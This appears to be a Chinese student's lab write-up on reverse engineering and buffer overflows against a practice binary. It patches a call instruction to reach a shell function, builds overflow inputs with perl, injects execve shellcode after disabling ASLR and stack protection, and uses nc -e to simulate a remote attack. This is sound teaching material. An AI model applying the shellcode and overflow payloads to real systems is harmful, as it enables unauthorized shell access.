• exp1 逆向与Bof基础


    exp1 逆向与Bof基础


    1.基础知识

    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。
    • 指令、参数
      • 用时及时查询。
      • 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
      • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
      • 操作成功不重要,照着敲入指令肯定会成功。
      • 重要的是理解思路。
        • 看指导理解思路,然后抛开指导自己做。
        • 碰到问题才能学到知识。
        • 具体的指令可以回到指导中查。

    NOP, JNE,, JMP, CMP汇编指令的机器码:

    汇编指令 机器码 功能
    NOP 0x90 空指令,当CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
    JNE 0x75 如果后面两个参数不相等则跳转到对应地址。
    JMP 段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
    CMP 0x38-0x3D 比较指令,对操作数之间进行运算比较。

    反汇编

    objdump

    - objdump -d <file(s)>`: 将代码段反汇编;
    - objdump -S <file(s)>`: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用`-g`参数,即需要调试信息;
    - objdump -C <file(s)>`: 将C++符号名逆向解析
    - objdump -l <file(s)>`: 反汇编代码中插入文件名和行号
    - objdump -j section <file(s)>`: 仅反汇编指定的section
    

    gdb disassemble

    gdb反汇编disassemble_菜菜的阿庄的博客-CSDN博客_gdb 反编译

    十六进制编辑器

    vim <filename>: 以ASCII码形式显示可执行文件的内容
      :%!xxd: 将显示模式切换为16进制模式
      :%!xxd: 将16进制切换回ASCII码模式
    

    2.直接修改程序机器指令,改变程序执行流程

    1.下载目标文件pwn1,反汇编。

    使用vmtool导入文件,此处将文件复制三次以供后续使用。

    image-20220317205948971

    使用objdump -d对文件进行反汇编,找到当中主要的三个函数main、foo、getshell。

    image-20220317210317874

    任务:调用getshell函数。

    分析

    1.此时的程序流程为main——foo——main,注意在main中通过call指令调用foo,我们需要修改此处的地址来让call指令调用getshell函数。

    2.call的机器指令为e8 d7 ff ff ff,此时eip指向08 04 84 ba,由于是反码,eip计算后指向08 04 84 91这个正好是foo的地址,所以我们需要修改这里为08 04 84 7d(getshell)-08 04 84 ba == c3 ff ff ff。

    步骤

    1.通过vim打开pwn文件。

    2.通过指令 :%!xxd 修改文件显示格式为16位。

    3.通过查找命令找到对应内容 /

    此处我通过vi无法找到对应内容,不知道是哪里出现了问题,于是使用了wxHexEditor。

    image-20220317220247990

    image-20220317215722652

    4.修改 d7c3 .

    image-20220317215946064

    5.反汇编文件检查修改成功。

    image-20220317220043676

    6.成功getshell。

    image-20220317220143066

    3.通过构造输入参数,造成BOF攻击,改变程序执行流

    任务:触发函数getshell。

    分析

    1.函数foo的作用:将用户输入的字符打印出来。

    image-20220317220727956

    此处有缓冲区溢出的漏洞,首先探测输入值的长度极限。此处给缓冲区预留了0x38 == 28 char的空间,所以我们需要构造超过28个字符长度的字符来造成缓冲区溢出。又通过函数的堆栈结构得知,再往上4位是返回地址,再往上四位是eip的值,所以我们要修改eip的值为getshell的地址得从32位开始。

    image-20220317220935246

    2.getshell的地址是0x0804847d,所以我们需要构造的字符串后面需要加入这个字符串,然而由于机器是大端的,所以应该反过来输入即/x7d/x84/x04/x08。

    步骤

    1.我们需要使用perlink来构造16进制字符串。

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    

    2.将input的输入,通过管道符“|”,作为pwn1的输入。

    (cat input; cat) | ./pwn1
    

    3.成功getshell。

    image-20220317223121276

    4.注入Shellcode并执行

    定义:shellcode—为了获取一个交互式的shell而设计的一段机器指令。

    如下构造的shellcode是本次实验所需的:

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    

    4.1准备工作

    预先安装prelink,从老师提供的安装文件中进行安装,否则无法运行后续的指令。

    cd prelink
    sudo apt-get install libelf-dev
    ./configure
    make
    sudo make install
    

    实验的假设条件是这样的:   

        (1)关闭堆栈保护
        (2)关闭堆栈执行保护(execstack -s)
        (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
        (4)在x32环境下
        (5)在Linux实践环境
    

    所以我们需要修改kali的设置:

    image-20220318161207470

    4.2构造需要注入的payload

    • 结构为:nops+shellcode+retaddr。(这是一个坑,就不介绍了)
      • nop一为是了填充,二是作为“着陆区/滑行区”。
      • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    能够成功的结构为:anything+retaddr+nops+shellcode。

    4.3操作步骤

    1.我们需要试探一下程序的返回地址到底在哪里,使用如下shellcode来试探。

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    
    上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
    

    image-20220318164808506

    2.打开一个终端注入这段攻击buf:

    image-20220318165547463

    3.另开一个终端,用gdb来调试,先确定程序的进程号,以便gdb定位。

    image-20220318165641078

    确定retaddr的位置,将断点设置在ret处。

    image-20220318165925567

    在另一个终端敲回车,继续调试,找到esp的位置。

    image-20220318170202456

    查看esp地址的内容,我们可以看到01020304,这说明我们需要的地址已经找到了,返回的地址与其相邻,0xffffd11c + 4。

    注入并成功!

    image-20220318171027875

    image-20220318171132469

    4.4 结合nc模拟远程攻击

    本例中是在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

    主机1,模拟一个有漏洞的网络服务:

    root:~# nc -l 127.0.0.1 -p 28234  -e ./pwn1
    -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
    

    主机2,连接主机1并发送攻击载荷:

    root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
    输入shell指令就可以了
    ls
    

    和上述实验步骤相似,此处不多赘述,放出关键步骤。

    image-20220325205715674

    image-20220325205812338

    image-20220325205742481

    5.实验感想

    ​ 此次实验的环境是十分理想的,所有的大门都对我们打开,但实际上现实的环境错综复杂,在理想情况下仍需要一波三折,这已经充分说明了这条学习之路任重而道远,我们的修行远远不够!

      shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。在这个观点下,我们应该去尝试加大难度,增加shellcode的构造难度。

      实验中出现了很多问题,在第一个项目的时候不知道是什么原因使用vim竟然无法查找到对应的机器指令。参考其他同学的博客发现该机器指令都在同一个位置,但是我查看的时候这里的指令和其他同学的都不一样。为此我使用了图形化软件,反而能够找到了,在这里卡壳了好久。

  • 相关阅读:
    自定义控件类
    初探ListView和Adapter
    探究android控件及布局
    页面布局之一边固定一边自适应
    cavans 文字换行
    移动开发01 页面取消横向滚动条
    移动端rem,scale动态设置
    map,area标签
    css3属性——border-radius用法
    z-index要同级比较,absolute包含块外有overflow-hidden
  • 原文地址:https://www.cnblogs.com/sisterben/p/16027971.html
Copyright © 2020-2023  润新知